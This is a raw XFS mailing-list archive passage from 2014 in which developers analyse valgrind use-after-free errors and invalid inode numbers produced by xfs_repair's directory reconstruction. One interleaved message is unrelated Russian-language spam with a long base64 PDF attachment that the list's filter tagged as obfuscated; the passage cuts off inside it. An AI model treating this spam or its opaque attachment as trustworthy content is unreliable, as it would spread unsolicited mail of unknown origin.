happened? ==6700== Invalid read of size 8 ==6700== at 0x1003DB10: libxfs_trans_commit (trans.c:743) ==6700== by 0x10028F9B: mv_orphanage (phase6.c:1222) ==6700== by 0x1002A627: phase6 (phase6.c:2970) ==6700== by 0x1000490F: main (xfs_repair.c:779) So it's reading ip: if (ip->i_itemp) <--- read here, line 743 kmem_zone_free(xfs_ili_zone, ip->i_itemp); ==6700== Address 0x13cbf4b8 is 216 bytes inside a block of size 416 free'd ==6700== at 0x4067C2C: free (in /usr/lib64/valgrind/vgpreload_memcheck-ppc64-linux.so) ==6700== by 0x1003C9EF: libxfs_iput (kmem.h:41) ==6700== by 0x1003DB0B: libxfs_trans_commit (trans.c:740) ==6700== by 0x10028F9B: mv_orphanage (phase6.c:1222) ==6700== by 0x1002A627: phase6 (phase6.c:2970) ==6700== by 0x1000490F: main (xfs_repair.c:779) after it's been previously freed if (iip->ili_lock_flags) { iip->ili_lock_flags = 0; return; } else { libxfs_iput(ip, 0); <--- freed here, line 740 } ==6700== Invalid write of size 8 ==6700== at 0x1003DB38: libxfs_trans_commit (trans.c:747) ==6700== by 0x10028F9B: mv_orphanage (phase6.c:1222) ==6700== by 0x1002A627: phase6 (phase6.c:2970) ==6700== by 0x1000490F: main (xfs_repair.c:779) ditto for this write: ip->i_itemp = NULL; <--- written here, line 747 So, this should be fixed, but I kind of doubt it's the underlying problem with your xfs_repair failure. -Eric From cody@linux.vnet.ibm.com Tue Feb 11 14:18:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 369957F50 for ; Tue, 11 Feb 2014 14:18:51 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2AC85304043 for ; Tue, 11 Feb 2014 12:18:50 -0800 (PST) X-ASG-Debug-ID: 1392149928-04cbb00c2a2a3660001-NocioJ Received: from e7.ny.us.ibm.com (e7.ny.us.ibm.com [32.97.182.137]) by cuda.sgi.com with ESMTP id ogncnszNAxv1Ga8I (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 11 Feb 2014 12:18:48 -0800 (PST) X-Barracuda-Envelope-From: cody@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.182.137 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/32.97.182.137] Received: from /spool/local by e7.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Tue, 11 Feb 2014 15:18:48 -0500 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/32.97.182.137] Received: from d01dlp01.pok.ibm.com (9.56.250.166) by e7.ny.us.ibm.com (192.168.1.107) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Tue, 11 Feb 2014 15:18:46 -0500 Received: from b01cxnp22036.gho.pok.ibm.com (b01cxnp22036.gho.pok.ibm.com [9.57.198.26]) by d01dlp01.pok.ibm.com (Postfix) with ESMTP id 69A1638C804F for ; Tue, 11 Feb 2014 15:18:46 -0500 (EST) Received: from d01av03.pok.ibm.com (d01av03.pok.ibm.com [9.56.224.217]) by b01cxnp22036.gho.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s1BKIkrM7274952 for ; Tue, 11 Feb 2014 20:18:46 GMT Received: from d01av03.pok.ibm.com (localhost [127.0.0.1]) by d01av03.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id s1BKIj9D025117 for ; Tue, 11 Feb 2014 15:18:45 -0500 Received: from [9.80.95.14] ([9.80.95.14]) by d01av03.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id s1BKIh7T024877; Tue, 11 Feb 2014 15:18:43 -0500 Message-ID: <52FA8598.1060805@linux.vnet.ibm.com> Date: Tue, 11 Feb 2014 12:18:32 -0800 From: Cody P Schafer User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , xfs@oss.sgi.com Subject: Re: xfs_repair fails to repair, run under valgrind shows "Invalid read..." and XFS_CORRUPTION_ERROR References: <52FA8021.9050604@linux.vnet.ibm.com> <52FA840A.7090309@sandeen.net> X-ASG-Orig-Subj: Re: xfs_repair fails to repair, run under valgrind shows "Invalid read..." and XFS_CORRUPTION_ERROR In-Reply-To: <52FA840A.7090309@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-TM-AS-MML: disable X-Content-Scanned: Fidelis XPS MAILER x-cbid: 14021120-5806-0000-0000-0000241BDD46 X-Barracuda-Connect: e7.ny.us.ibm.com[32.97.182.137] X-Barracuda-Start-Time: 1392149928 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/11/2014 12:11 PM, Eric Sandeen wrote: > On 2/11/14, 1:55 PM, Cody P Schafer wrote: >> xfsprogs version: v3.2.0-alpha2-14-g6e79202 >> >> uname: Linux hostname 3.11.10-301.fc20.ppc64 #1 SMP Tue Dec 10 00:35:15 MST 2013 ppc64 POWER8 (architected), altivec supported CHRP IBM,8286-42A GNU/Linux >> >> full log attached. > > Yikes, that's one destroyed filesystem. What happened? > Well, initially? no idea. This is the second time that the repair failed, so the first one may not have been too kind to the system. The fs still mounts fine (or did before this particular failed repair), but has random file corruption (pieces of files get replaced with other junk). Most of the time without any XFS_CORRUPTION errors showing up in dmesg (though they did appear a few times in the past). From david@fromorbit.com Tue Feb 11 14:43:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 98E077F50 for ; Tue, 11 Feb 2014 14:43:42 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1E3A5AC013 for ; Tue, 11 Feb 2014 12:43:38 -0800 (PST) X-ASG-Debug-ID: 1392151415-04cbb00c2b2a58e0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id p2whsUfDKBGxUD07 for ; Tue, 11 Feb 2014 12:43:36 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtsHAG6K+lJ5LBMc/2dsb2JhbABagwy6R4VPgRQXdIIlAQEEATocIwULCAMYCRoLDwUlAyETh30HyGMXFo12bQeEOASYKYpPh1KBb4FSKA Received: from ppp121-44-19-28.lns20.syd6.internode.on.net (HELO dastard) ([121.44.19.28]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Feb 2014 07:13:34 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WDKB1-0007EV-Vy; Wed, 12 Feb 2014 07:43:32 +1100 Date: Wed, 12 Feb 2014 07:43:31 +1100 From: Dave Chinner To: Cody P Schafer Cc: xfs@oss.sgi.com Subject: Re: xfs_repair fails to repair, run under valgrind shows "Invalid read..." and XFS_CORRUPTION_ERROR Message-ID: <20140211204331.GL13647@dastard> X-ASG-Orig-Subj: Re: xfs_repair fails to repair, run under valgrind shows "Invalid read..." and XFS_CORRUPTION_ERROR References: <52FA8021.9050604@linux.vnet.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FA8021.9050604@linux.vnet.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392151416 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145033 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 11, 2014 at 11:55:13AM -0800, Cody P Schafer wrote: > xfsprogs version: v3.2.0-alpha2-14-g6e79202 > > uname: Linux hostname 3.11.10-301.fc20.ppc64 #1 SMP Tue Dec 10 > 00:35:15 MST 2013 ppc64 POWER8 (architected), altivec supported CHRP > IBM,8286-42A GNU/Linux > > full log attached. > > syncop8lp7 xfsprogs # valgrind ./repair/xfs_repair -n /dev/sda5 ..... Runs fine becuase it doesn't try to fix and write changes. > ==6601== Memcheck, a memory error detector > ==6601== Copyright (C) 2002-2012, and GNU GPL'd, by Julian Seward et al. > ==6601== Using Valgrind-3.8.1 and LibVEX; rerun with -h for copyright info > ==6601== Command: ./repair/xfs_repair -n /dev/sda5 > ==6601== > --6601-- WARNING: Serious error when reading debug info > --6601-- When reading debug info from /usr/lib64/valgrind/memcheck-ppc64-linux: Ok, so you're on ppc64. Big endian or little endian? > syncop8lp7 xfsprogs # valgrind ./repair/xfs_repair /dev/sda5 .... > resetting inode 67687581 nlinks from 4 to 3 > xfs_dir3_data_write_verify: XFS_CORRUPTION_ERROR > libxfs_writebufr: write verifer failed on bno 0x3239040/0x1000 > Invalid inode number 0xfeffffffffffffff That's the smoking gun - the dirents in the rebuilt directory have invalid inode numbers. They all have the same invalid inode number, which indicates a bug in the directory reconstruction. Can you provide a metadump of the broken filesystem to one of us fo deeper inspection? FWIW, the write verifiers have once again done their job - catching corruptions caused by software bugs and preventing them from causing further corruption to the filesystem... > libxfs_writebufr: write verifer failed on bno 0x3298f38/0x1000 > ==6700== Syscall param pwrite64(buf) points to uninitialised byte(s) > ==6700== at 0x40F810C: pwrite64 (pwrite64.c:51) > ==6700== by 0x1003ABDB: __write_buf (rdwr.c:801) > ==6700== by 0x1003C1B7: libxfs_writebufr (rdwr.c:863) > ==6700== by 0x10036C4F: cache_flush (cache.c:600) > ==6700== by 0x1003C77B: libxfs_bcache_flush (rdwr.c:994) > ==6700== by 0x10004C6B: main (xfs_repair.c:886) > ==6700== Address 0xbeb0622 is 34 bytes inside a block of size 4,096 alloc'd > ==6700== at 0x406631C: memalign (in /usr/lib64/valgrind/vgpreload_memcheck-ppc64-linux.so) > ==6700== by 0x1003ADEF: __initbuf (rdwr.c:367) > ==6700== by 0x1003B797: libxfs_getbufr_map (rdwr.c:416) > ==6700== by 0x100365C3: cache_node_get (cache.c:273) > ==6700== by 0x1003A8DB: __cache_lookup (rdwr.c:519) > ==6700== by 0x1003BA6F: libxfs_getbuf_map (rdwr.c:601) > ==6700== by 0x1003D333: libxfs_trans_get_buf_map (trans.c:525) > ==6700== by 0x10059A3B: xfs_da_get_buf (xfs_da_btree.c:2580) > ==6700== by 0x10060E27: xfs_dir3_data_init (xfs_dir2_data.c:558) > ==6700== by 0x1006407F: xfs_dir2_leaf_addname (xfs_dir2_leaf.c:826) > ==6700== by 0x1005D59B: xfs_dir_createname (xfs_dir2.c:233) > ==6700== by 0x100290D3: mv_orphanage (phase6.c:1205) And that looks kinda related. This has been triggered by the write of a directory buffer that was created during lost+found processing, and is a prime candidate for incorrect reconstruction. What is the head commit of the repo you built this xfs_repair binary from, and what version of gcc did you use? Cheers, Dave. -- Dave Chinner david@fromorbit.com From etimi.tobyatseeva.87@unict.it Tue Feb 11 14:48:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_OBFU_PDF_ATTACH autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D1CF47F50 for ; Tue, 11 Feb 2014 14:48:21 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C71E1304075 for ; Tue, 11 Feb 2014 12:48:21 -0800 (PST) X-ASG-Debug-ID: 1392151699-04cb6c6de12b27b0001-NocioJ Received: from mx1.bayshorehosting.com (mx6.bayshorehosting.com [66.77.86.15]) by cuda.sgi.com with ESMTP id KUeUygeJrdchNbUj for ; Tue, 11 Feb 2014 12:48:19 -0800 (PST) X-Barracuda-Envelope-From: etimi.tobyatseeva.87@unict.it X-Barracuda-Apparent-Source-IP: 66.77.86.15 Received: from Unknown ([103.21.41.83]) by mx1.bayshorehosting.com (Mail Server v1.0) with ASMTP (SSL) id XWH90908; Tue, 11 Feb 2014 15:48:08 -0500 Message-ID: <38CE04E377DF4288A3E49DF3570E455B@szyyflf> Reply-To: =?windows-1251?B?wMPFzdLR0sLOIMLOxM3b1SDQxdHT0NHOwg==?= From: =?windows-1251?B?wMPFzdLR0sLOIMLOxM3b1SDQxdHT0NHOwg==?= To: , , , Subject: =?windows-1251?B?z/Do7OXt5e3o5SDi7uTt7uPuIOfg6u7t7uTg?= =?windows-1251?B?8uXr/PHy4uAg4iAyMDE0IOPu5PM=?= Date: Tue, 11 Feb 2014 21:48:21 +0100 X-ASG-Orig-Subj: =?windows-1251?B?z/Do7OXt5e3o5SDi7uTt7uPuIOfg6u7t7uTg?= =?windows-1251?B?8uXr/PHy4uAg4iAyMDE0IOPu5PM=?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1F71_01CF2772.FB3F5320" X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-Barracuda-Connect: mx6.bayshorehosting.com[66.77.86.15] X-Barracuda-Start-Time: 1392151699 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_1F71_01CF2772.FB3F5320 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1F72_01CF2772.FB3F5320" ------=_NextPart_001_1F72_01CF2772.FB3F5320 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=E0=E2=E0 =F1=EE=E1=F1=F2=E2=E5=ED=ED=EE=F1=F2=E8 =ED=E0 =E2=EE=E4=ED= =FB=E5 =EE=E1=FA=E5=EA=F2=FB ------=_NextPart_001_1F72_01CF2772.FB3F5320 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CF=F0=E0=E2=E0 =F1=EE=E1=F1=F2=E2=E5=ED=ED=EE=F1=F2=E8 =ED=E0 =E2=EE= =E4=ED=FB=E5 =EE=E1=FA=E5=EA=F2=FB
------=_NextPart_001_1F72_01CF2772.FB3F5320-- ------=_NextPart_000_1F71_01CF2772.FB3F5320 Content-Type: application/octet-stream; name="=?windows-1251?B?wu7k7fvpIOru5OXq8S5wZGY=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?wu7k7fvpIOru5OXq8S5wZGY=?=" JVBERi0xLjMKMyAwIG9iago8PC9UeXBlIC9QYWdlCi9QYXJlbnQgMSAwIFIKL1Jlc291cmNlcyAy IDAgUgovQ29udGVudHMgNCAwIFI+PgplbmRvYmoKNCAwIG9iago8PC9GaWx0ZXIgL0ZsYXRlRGVj b2RlIC9MZW5ndGggMTEzPj4Kc3RyZWFtCnicM1Lw4jLQMzVXKOcqVDBQ8FIwVCgH0llA7A7E6UBR Qz0DIFAAQRgThUrO5dIPCfAxVHDJVwjkCuQCK1JAJovSuUBqFSxMDPUsLBVMLU31jCzA2hWKUhXS UCTBbF0oBywLVY5THiwCJjAMBgAx3ixoCmVuZHN0cmVhbQplbmRvYmoKMSAwIG9iago8PC9UeXBl IC9QYWdlcwovS2lkcyBbMyAwIFIgXQovQ291bnQgMQovTWVkaWFCb3ggWzAgMCA1OTUuMjggODQx Ljg5XQo+PgplbmRvYmoKNSAwIG9iago8PC9GaWx0ZXIgL0ZsYXRlRGVjb2RlIC9UeXBlIC9YT2Jq ZWN0Ci9TdWJ0eXBlIC9Gb3JtCi9Gb3JtVHlwZSAxCi9CQm94IFswLjAwIDAuMDAgNTk1LjI4IDg0 MS44OV0KL1Jlc291cmNlcyAKPDwvUHJvY1NldCBbL1BERiAvVGV4dCAvSW1hZ2VCIC9JbWFnZUMg L0ltYWdlSSBdCi9Gb250IDw8Pj4vWE9iamVjdCA8PC9JMSA2IDAgUgo+Pj4+L0dyb3VwIDw8L1R5 cGUvR3JvdXAvUy9UcmFuc3BhcmVuY3k+PgovTGVuZ3RoIDU4ID4+CnN0cmVhbQp4nDNS8OIy0DM1 VyjnKlQwtTTRMzdSMABCCxNDPRMTBQM9IwsQYaSQnKug72mo4JKvEMilAAAiSArACmVuZHN0cmVh bQplbmRvYmoKNiAwIG9iago8PC9UeXBlIC9YT2JqZWN0IC9TdWJ0eXBlIC9JbWFnZSAvV2lkdGgg MTIzOSAvSGVpZ2h0IDE3NTMgL0NvbG9yU3BhY2UgL0RldmljZUdyYXkgL0JpdHNQZXJDb21wb25l bnQgOCAvRmlsdGVyIC9EQ1REZWNvZGUgL0xlbmd0aCAyMTA2OTcgPj5zdHJlYW0K/9j/4AAQSkZJ RgABAQIAOwA7AAD/4gOgSUNDX1BST0ZJTEUAAQEAAAOQAAAAAAIQAABwcnRyR1JBWVhZWiAH2QAG AAUADwA2ABdhY3NwTVNGVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9tYAAQAAAADTLQAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVjcHJ0AAAAwAAA ADJkZXNjAAAA9AAAAGd3dHB0AAABXAAAABRia3B0AAABcAAAABRrVFJDAAABhAAAAgx0ZXh0AAAA AENvcHlyaWdodCAoYykgMjAwOSBDb3JlbCBDb3Jwb3JhdGlvbgAAAAAAAAAAZGVzYwAAAAAAAAAN RG90IEdhaW4gMTUlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYWVogAAAAAAAA9tYAAQAAAADTLVhZ WiAAAAAAAAAAAAAAAAAAAAAAY3VydgAAAAAAAAEAAAAAEAAqAE4AeQCqAOABGwFaAZ4B5QIxAoAC 0gMoA4ED3QQ8BJ4FAwVrBdUGQgayByQHmQgQCIkJBQmDCgMKhgsLC5EMGgylDTMNwg5TDuYPexAS EKsRRhHiEoETIRPDFGcVDRW1Fl4XCRe1GGQZExnFGngbLRvkHJwdVR4RHs0fjCBMIQ0h0CKUI1ok IiTrJbUmgSdOKB0o7Sm+KpErZSw7LRIt6i7EL58wfDFaMjkzGTP7NN41wzaoN484eDlhOkw7ODwl PRQ+BD71P+dA20HQQsZDvUS1Ra9GqUelSKJJoUqgS6FMo02mTqpPr1C1Ub1SxlPPVNpV5lb0WAJZ EVoiWzNcRl1aXm5fhGCbYbNizWPnZQJmHmc8aFppemqaa7xs3m4CbydwTHFzcptzw3Ttdhh3RHhx eZ56zXv9fS5+X3+SgMaB+4MwhGeFnobXiBGJS4qHi8ONAI4/j36QvpH/k0GUhZXIlw2YU5mamuKc Kp10nr6gCqFWoqOj8aVAppCn4akzqoWr2a0troKv2bEwsoiz4LU6tpW38LlNuqq8CL1nvsfAJ8GJ wuvETsWzxxfIfcnky0vMtM4dz4fQ8tJe08rVONam2BXZhdr13Gfd2d9M4MDiNeOr5SHmmegR6Yrr A+x+7fnvdfDy8nDz7vVu9u74b/nw+3P89v56////2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQO DwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/wAALCAbZBNcBAREA/8QA HQABAAIDAQEBAQAAAAAAAAAAAAYHAwQFCAIBCf/EAF8QAAEDAwMCBAQDAwYGDAsECwEAAgMEBREG EiEHMRMiQVEIFDJhFXGBI0KRFiRSYqGxFzNywdHwJTY3Q0RUdHWSorKzJjQ1VmNzgoOTlNIYJzhT VZXh8XZGZIXC07T/2gAIAQEAAD8A9UoiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi IiIiIiIiIiIiIiIiIiIiIiKtNa6wvlm1tb6KKO2DT5qKZtVUCsYypia4SF5dG7P7MbAS7AO0OwRy 5sV+I7WFFRWampW6mipqOugmY+kYwTMrg14Y5m4QSbdpznztzgt4zubI63qbZLjo+tboOWjmqYqT dTRV8EtFTOjwRhjpIw12Gtdho77T2AKnGkrhQVdlooaGqppnQU0TXxwubmPjbgtDW7eWuGNjeWkb RjA7SIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiI iIiIiIiIiIiIiIiIiIiIiIiIiIviYPMLxGcPLTtOcYPp6H+4rzPpXqhrvT3U52neoVXRNoopJTJ8 zCQ/5cgubOJYogxzGhmMkNB3Hdtxlno2yXagvlqpblaaqKqoalgkiljOQ5p/uPoQeQeCseor1Rae tE9zuj5mUcGDI+KCSYtBOM7WAux98cLwx1hN8rtdXqu1Ja20vjVjGU0bKDwXuDmP8CRzzE4uG0Zc wu3OIxgbfL2+tulbzRXuhdPay+gNDTCD5S3mNjJBE9znDFM0NY129zoT5vNk/wBXFf7VqC4dN9LW 2K0V07fxKu/m1Lbizxp2/TUBraYfsx5wYz5iAR2Hls34SrfPZJdT1F4tNXFU1dSyOnrG2qWOOVu9 zXhjvDAazfjLfLjHIG049LLl3/UFq09SipvNbFSwkkbn5PYZJwPQAEk9gBkrz70x151E1t1T8RlZ MNImqc9sLKDwozTefY/xXQuOHbOxe1xJIBHOPSyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiI iIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIo8zWNmluHyVNLV1U4k MbjS0U87GEHGXPYwtaMhw3EgEtcM5acUH1gutu6pXh1hs0z3XOKJjrXSz2h8clS8ueJcyywF0bWO jZnljXYc1x9Wy6qtEPTyq0TcL9qGKnu9TWCkrqunoqakgqgY+IpHMiDhG0NAbngkDJZw5ne1X1A0 VdC2w6jpq8Wuuqfk2V9VQSRUhmaXfTM8AZa5mNw7Egg4BIpPXHUS7aL1gbTqyigucluujK6KSQMg lqPVlQHspgMANYxxHJ845yCzZ138Rbr1pW5Wio01DSsuMZgimNbI7fE7cPHY11OA5mWkYOD9uDje d8TAttphon6UhEAY2CBzq1zPGhwWCZrflQ3Z5e2B7BvBA6HRO66o1DVT6h1jqGkZoixbpaWmlhhj a9oDmxy4bHGQxoblrnNHLeGgg4sjTPWCzX+krZ56W5WaiPimhr66mfHT1cTGFxkbKWljcbXcHngc E5AhuqemLdc6BpLxbr8LncKkGqqKqlpqZnzw7sa4tiYZPDIGGvxuLTnacbex0f1rDQMi01c7pcrr KxkbaaoNmqYt0h8QyRgeEA2NmzDcgcA+gw2z7ZqS3XCWnij+cp5ajf4TK2impXPLcEgCVjSTg5x6 gE9gV2URERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER ERERERERERERERERERERERERFydXQ1NRpe6w0LXuqpKZ7YgzO4uI4xh7D/1h+aoDUXWDU/TjTMVt v1npm3mqZH+HOO5kMUPh7C7a2Fo8rmBxj4cBMBxtwup0y62X3UYhslTYI629CMGOenq20xrYg4td UxxzMaNoDScAkk/ugZ28zq/pqv1hpqoumpqn5e4WB7IvwuJrJ3NBy3x3TCnDiJOHYDRH5CCWnOyz Lh0mo7hZYLVV6m1LJRxHiN0tO5pHO0bDCWAMydu0DHH9Fu3mzdFaa7VzKjV+pbtqBkRPgxVUVPho c55cMmMkAh4+kt5aD6NDfiL4f9Gt8DxBUy+G97n7oKUeMHZ8rtsIwBudjbtPI58rcIvh/wBGt8Dx BUy+G97n7oKUeMHZ8rtsIwBudjbtPI58rcc6r6AQVG22/wArbvHpQvE8lqjggj3zAuIfuawMxkjy mM9gM8Nx+9WOmlNH0wr2y6h1HVQ22I1MdPLURmKQsOWMcxsWNrcnDWtHpwdrQOjpSjr9Fmks+moH XO3PpjWVlM3wqeeidJ5i7AgYJHEghjHeGeDkEDyQ3qN8QNw0tV/hFPZJoK6J3hufdQ5kssTmeSoD WM2jnJLe/pt7huabVOreoVu0/VWuyVk1iZVRMqXQueHyPEgMdTHIWQFzQWHeG7QA8cjnb6IRERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER ERERERERERERERV/rSgoqzqdoh1bGXSR/NOp3fKtkAkERIJe5nkIxuGHd2jyH6mwCppI6T4rLVBF PTiWW2B8rvl2Comf4MzTMXhgHYAEZAJ2+XA4xdU6J8Fw11TQiV8b7Xb5ppRTtJkmErm+M/bTvbvw O+WYx6Abm211B1BNozQtbd2xvuElFE3eZHFjnjgF5McTgD6/QG++AuHp7qPBLRU0eoqK52j5ktjo 66eIyRVbfCa8zeIxm1gwScvawY5wMOa2wIY3CkZF8xJI9rAwznbvccY3HA259eBj7LXrqqntNmln uVf4UFPCTLVzFrSABy88BufXgY+3oqxv/WGno9GTXfTdnvt9pKeKMm4S0j6WF7CS18viOj52kZIa w9+2AcdzqHUfPdEbrUeJ8x8xaRJ4mN3ibmA5+gZzn+gP8kdlz+ldOYtVawjERpi6G342wiIj9i4Z AMMQ9P6J7Y4xtbCfhzsxrb71Emv8D62sfcWiKtroWvlewOkDXgubjGWDGBty3gcYVi9DqCltui5q Wg8V1NHcKlrHy0zIHPxIQTtYxre4IyNwwO4+ltgoiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiI iIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIq5105sPVPQMr45vO6r gEsVOZC1zoXAeYRHA9eXgcZLSBubBqiXxPirtdKKsukgtgieZqXbPI4QzftGv8MNLeeQ07S4/Sdv GHq3ROdeNZtcJKh8dlt7DUup2vfkTO8xIp3tB43cOYOM4GNzZZ8SLIm9IaqjqPHrqh0kAjAc0SSO Y4OLyAwhwABc4BvYHsFY9mgB05Q07meGPlI4y3ww3b5AMbSxoH5Fjf8AJHZQ3U9jj0TpKtuml6uo tYoKbxX0lJBCIKp7R9T4hHw4+vh7CeO+BjuWzSlul+XuNyfUXi5ACSmrrpTxfMUwxkeG0RtERHc4 aHZ+rOBiNfEFA4dGrzG5xqHRRMJlmhEnLSPO5oiePuSGtA929xj1DP8AO/DvVy/O0Nx32fHzFDD4 